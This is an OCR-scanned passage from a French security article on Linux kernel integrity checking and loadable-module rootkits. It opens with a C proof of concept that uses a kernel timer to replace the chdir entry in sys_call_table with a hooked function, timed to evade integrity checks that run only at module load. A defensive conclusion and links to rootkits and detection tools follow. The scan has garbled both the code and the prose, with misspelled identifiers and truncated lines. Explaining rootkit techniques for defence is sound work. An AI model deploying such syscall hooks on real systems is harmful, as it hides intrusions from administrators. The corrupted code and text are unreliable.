/* timer_exploit.c par Mixman */
#define TIMER_TIMEOUT 200

extern void* sys_call_table[];
int (*org_chdir)(const char?*);

static timer_t timer;
static unsigned char hacked = 0;

asmlinkage int hacked_chdir(const char* path)

printk("Some sort of periodic checking could be a solution...\n");
return org_chdir(path);

}

void timer_handler(unsigned long arg)

{
if(lhacked) {
hacked = 1;
org_chdir = sys_call_table[SYS_chdir];



sys_call _tabl e[ SYS chdir] = hacked chdir;
}
}

int init_nodul e(void)

{
printk("Adding kernel timer...\n");

menset (& i nmer, 0, si zeof (tiner));

init _timer(&iner);

timer.expires = jiffies + TIMER TI MEQUT;

timer.function = tiner_handl er;

add_tinmer(&imer);

printk("Syscall sys chdir() should be nodified in a few seconds\n");
return O;

}

voi d cl eanup_nodul e(voi d)

del tinmer(&inmer);
sys_call _table[ SYS chdir] = org_chdir;
}

La solution envisagée pour le moment est de lancer le test d’intégrité de temps en temps,
plus uniqguement au (dé)chargement d’un module.

Conclusion

Conserver I'intégrité d’'un systéme n’est pas chose aisée. Bien que ces tests soient fiables en e
les moyens de les contourner sont nombreux. La seule solution est de ne faire confiance a rien
I'évaluation, et en particulier dés lors gu’une intrusion est suspectée. Le plus sdr est d’éteindre
systeme, puis de rebooter sur un autre, sain, pour évaluer les dommages.

Les outils et méthodes présentés dans cet article sont a double tranchant. lls servent aussi bier
intéréts du pirate que celui de I'administrateur. En effet, comme nous I'avons vu avec le module
root shel |, il permet aussi de controler qui lance quoi.

Lorsque des tests d’intégrité sont mis en place selon un politique pertinente, les root-kits classic
facilement détectables. L’apparition de ceux fondés sur les modules reléve d’un nouveau défi. [
pour les contrer sont en cours de développement, tout comme ces modules d’ailleurs, qui n'ont
encore atteint le maximum de leurs capacités. La sécurité autour du noyau préoccupe de plus ¢
personnes, a tel point que Linus a demandé a ce que les noyaux 2.5 integrent un module charc
securité. Ce revirement vient de la multiplication de patches applicables (Openwall, Pax, LIDS,
pour n’en citer que quelques uns).

Quoigu’il en soit, souvenez-vous qu’une machine potentiellement compromise ne peut vérifier <
intégrité. Il ne faut faire confiance a aucun de ses programmes, ni aucune des informations qu’¢
fournit.




Liens

® www.packetstormsecurity.orgvous y trouverezdor e etknar k, les deux Ikm root-kits les plus

connus ;

sourceforge.net/projects/stjudkes modules St_Jude et St_Mickael de détection d’intrusions

www.sOftpj.org/en/tools.htmlkst at qui explore dev/ kmem;

www.chkrootkit.org: script pour détecter la présence de root-kits bien connus ;

www.packetstormsecurity.org/docs/hack/LKM_HACKING.htnlE guide pour tripatouiller le

noyau (un peu vieillot - il traite des noyaux 2.0 - mais tellement riche) ;

www.big.net.au/~silvid’excellente page de Silvio Cesare (incontournable)

® mail.wirex.com/mailman/listinfo/linux-security-moduiéda liste de diffusion
linux-security-module.

® www.tripwire.com: tripwire est 'outil classique de détection d’intrusion. Depuis peu, la soci
titre Tripwire Open Source, Linux Edition ;

® www.cs.tut.fi/~rammer/aide.html de (Advanced Intrusion Detection Environment) est un pe
mais efficace remplacement paut pwi r e, completement libre.
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